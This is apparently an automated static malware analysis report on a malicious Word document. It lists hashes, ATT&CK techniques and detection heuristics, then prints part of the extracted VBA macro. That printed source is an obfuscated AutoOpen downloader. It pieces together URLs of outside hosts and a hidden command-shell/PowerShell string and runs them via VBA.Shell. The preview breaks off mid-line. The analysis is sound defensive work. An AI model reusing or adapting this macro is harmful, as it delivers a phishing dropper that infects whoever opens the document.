Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 806c715215266e7a…

MALICIOUS

Office (OLE)

152.0 KB Created: 2017-12-18 23:46:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: b78d8ad78e0841013f332781d5b82e10 SHA-1: 729bff5b4bda933f1b7cd9c3bfda0be12a3b7d20 SHA-256: 806c715215266e7a6e376e4c2189a3b36d9df35509789955a5b679fb00a6ab0b
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute a command using VBA.Shell(), which is a critical finding. This indicates the document is likely a downloader for a second-stage payload. The ClamAV detection name 'Img.Dropper.PhishingLure-6443153-0' further supports this, suggesting a lure document used for phishing.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69193 bytes
SHA-256: 46d1aabb71e1df33d0e9cb175d2efc517c429251f646d183a2d69b181b1014c3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ToKJMstcVK"
Sub AutoOpen()
On Error Resume Next
RCqUNDYQa = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 12 + ChrB(10 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 12 / 13) - (11 - CBool(881 - 14) * TMfXJir + Cos(11))
GQNtVBYIP = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 8 + ChrB(8 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 12 / 11) - (7 - CBool(881 - 10) * TMfXJir + Cos(10))
jqOjwOmdr = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 8 + ChrB(11 + Atn(7 / ChrW(5) + 4320 + Log(97)) - 11 / 9) - (8 - CBool(881 - 7) * TMfXJir + Cos(8))
UTouIanKf = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 8 + ChrB(11 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 8 / 9) - (13 - CBool(881 - 13) * TMfXJir + Cos(12))
PfiXhtdjL = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 8 + ChrB(10 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 14 / 7) - (7 - CBool(881 - 13) * TMfXJir + Cos(14))
VBA.Shell$ lOpzsCAGzl, 0
FFLDHUAIJ = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(10))) + 13 + ChrB(13 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 11 / 13) - (11 - CBool(881 - 12) * TMfXJir + Cos(14))
GBftcCAwS = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 8 + ChrB(7 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 13 / 12) - (11 - CBool(881 - 7) * TMfXJir + Cos(11))
aCjlTnrQq = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 13 + ChrB(9 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 8 / 12) - (14 - CBool(881 - 11) * TMfXJir + Cos(8))
iBHWhdihQ = 10 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 12 + ChrB(14 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 7 / 8) - (13 - CBool(881 - 10) * TMfXJir + Cos(9))
LGllJIVqN = 13 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 12 + ChrB(14 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 9 / 10) - (10 - CBool(881 - 9) * TMfXJir + Cos(11))
End Sub
Function lOpzsCAGzl()
On Error Resume Next
ZDWHXi = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(7))) + 10 + ChrB(10 + Atn(11 / ChrW(5) + 4320 + Log(97)) - 12 / 9) - (11 - CBool(881 - 12) * TMfXJir + Cos(12))
oHPGY = 9 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 13 + ChrB(14 + Atn(12 / ChrW(5) + 4320 + Log(97)) - 14 / 8) - (14 - CBool(881 - 13) * TMfXJir + Cos(13))
KZcUn = Mid("MhlhDcdNlizrG://www.bdQ4+'+'dQ4inexdQ4+dQ4lindQ4+dQ4e.com/FdQ4+dQ4XwjdQ4+dQ4yz/,hdQ4+dQ4ttdQ4+dQ4p://easyfodQ4+dQ4odQ4+ddSK+dSKQ4d.'+'usdQ4+dQ4/G4VaoW/,htdQ4+dQ4tpdQ4+dQ'+'4://www.a0NjzAQmWZJXi", 14, 168)
NzkPS = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(12))) + 13 + ChrB(11 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 8 / 9) - (8 - CBool(881 - 8) * TMfXJir + Cos(11))
jAZNJQrT = 11 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(11))) + 12 + ChrB(14 + Atn(13 / ChrW(5) + 4320 + Log(97)) - 7 / 8) - (9 - CBool(881 - 7) * TMfXJir + Cos(8))
sEBUrToMu = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 13 + ChrB(8 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 14 / 10) - (10 - CBool(881 - 9) * TMfXJir + Cos(10))
kJJfk = Mid("aUXOi07tYCu'Q4dSK,XPZcXjBAjw9CoYiR9TC6BD", 12, 7)
OUqzupuAz = 7 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(13))) + 10 + ChrB(12 + Atn(9 / ChrW(5) + 4320 + Log(97)) - 11 / 14) - (9 - CBool(881 - 10) * TMfXJir + Cos(10))
fzoQznq = 8 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 9 + ChrB(9 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 9 / 7) - (13 - CBool(881 - 12) * TMfXJir + Cos(10))
JdakZ = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 12 + ChrB(9 + Atn(8 / ChrW(5) + 4320 + Log(97)) - 14 / 9) - (9 - CBool(881 - 14) * TMfXJir + Cos(12))
KiucusojzRq = Mid("snY1SnLq9N ((' '+'&( gqUeNV:ComSpEC[4,26,25]-joiNdSKdSK) ( (dSK &( c'+'9oENV:COMSpEc['+'4,15,25]-JOINdQ4dQ4) ((dQ47ADvihUz2riWc8VNnnp8GoGh2AXj", 11, 105)
PsJKGjriRXp = 14 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 8 + ChrB(14 + Atn(10 / ChrW(5) + 4320 + Log(97)) - 13 / 10) - (8 - CBool(881 - 13) * TMfXJir + Cos(13))
pXhJNCl = 12 * Tan(2487 / 9591 - 7 + Chr(57 - Sin(14))) + 9 + ChrB(9 + Atn(14 / ChrW(5) + 4320 + Log(97)) 
... (truncated)

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